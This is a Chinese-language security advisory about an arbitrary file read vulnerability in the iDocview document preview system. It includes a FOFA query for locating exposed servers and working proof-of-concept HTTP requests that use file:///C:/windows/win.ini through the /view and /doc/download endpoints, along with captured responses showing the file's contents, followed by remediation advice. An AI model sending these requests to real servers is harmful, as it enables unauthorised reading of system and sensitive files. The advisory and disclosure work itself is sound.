

关于iDocview任意文件读取漏洞预警

漏洞描述

此在线文档预览系统是一套用于在Web环境中展示和预览各种文档类型的系统，如文本文档、电子表格、演示文稿、PDF文件等。此系统某接口存在任意文件读取漏洞。

影响范围

Version: econage_11.8.6_20210730

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: title="I Doc View"

POC/EXP:

```
GET /view/url?url=file:///C:/windows/win.ini HTTP/1.1
Host: 127.0.0.1:28080
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONIDocv=DAC1F92E30B9BECB756134EB26FAA9E7
Connection: close
```

Request

PrettyRawHex

1GET /view?url=file:///C:/windows/win.ini HTTP/1.1

2Host: :28080

3Cache-Control: max-age=0

4DNT: 1

5Upgrade-Insecure-Requests: 1

6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

8Accept-Encoding: gzip, deflate

9Accept-Language: zh-CN,zh;q=0.9

10Cookie: JSESSIONIDocv=DAC1F92E30B9BECB756134EB26FAA9E7

1Connection: close

2

3

Response

PrettyRawHexRender

; for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]

[Mail]

MAPI=1

CMCDLLNAME32=mapi32.dll

CMC=1

MAPIX=1

MAPIXVER=1.0.0.1

OLEMessaging=1

Powered by: I Doc View Email: support@idocv.com

Request

PrettyRawHex

1GET /doc/download/ZkSsYoo?url=file%3A%2F%2F%3A%2Fwindows%2Fwin.ini&idocv_auth=sapi HTTP/1.1

2Host: :8085

3Upgrade-Insecure-Requests: 1

4DNT: 1

5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

7Referer: http://:8085/view/ZkSsYoo?url=file%3A%2F%2F%3A%2Fwindows%2Fwin.ini&idocv_auth=sapi

8Accept-Encoding: gzip, deflate

9Accept-Language: zh-CN,zh;q=0.9

10Cookie: JSESSIONID=CB0C14A0C440EE53697E9AA70B6687AA

1Connection: close

2

3

Response

PrettyRawHexRender

1HTTP/1.1 200

2Date: Thu, 14 Dec 2023 03:36:34 GMT

3Server: Apache-Coyote/1.1

4filename: win.ini

5Content-disposition: attachment; filename="win.ini"

6Content-Type: application/octet-stream;charset=UTF-8

7Content-Length: 167

8Access-Control-Allow-Origin: *

9Connection: close

10

11; for 16-bit app support

12[fonts]

13[extensions]

14[mci extensions]

15[files]

16[Mail]

17MAPI=1

18CMCDLLNAME32=mapi32.dll

19CMC=1

20MAPIX=1

21MAPIXVER=1.0.0.1

22OLEMessaging=1

23

修复方案

官方修复：

- 1、输入验证和过滤：对用户输入进行严格的验证和过滤，确保只允许访问预期的文件。这可以使用白名单或黑名单来实现，具体取决于你的需求和系统架构。
- 2、文件路径检查：在读取文件之前，验证用户请求的文件路径是否合法。可以使用绝对路径、相对路径或者基于应用程序特定的标识符来指定文件路径。确保路径解析是可靠的，并避免使用用户提供的输入直接拼接成路径。
- 3、权限控制：限制应用程序对文件系统的访问权限。确保应用程序只能访问必要的文件，而不能读取敏感文件或系统文件。使用操作系统级别的权限控制机制，如操作系统用户和文件权限设置。

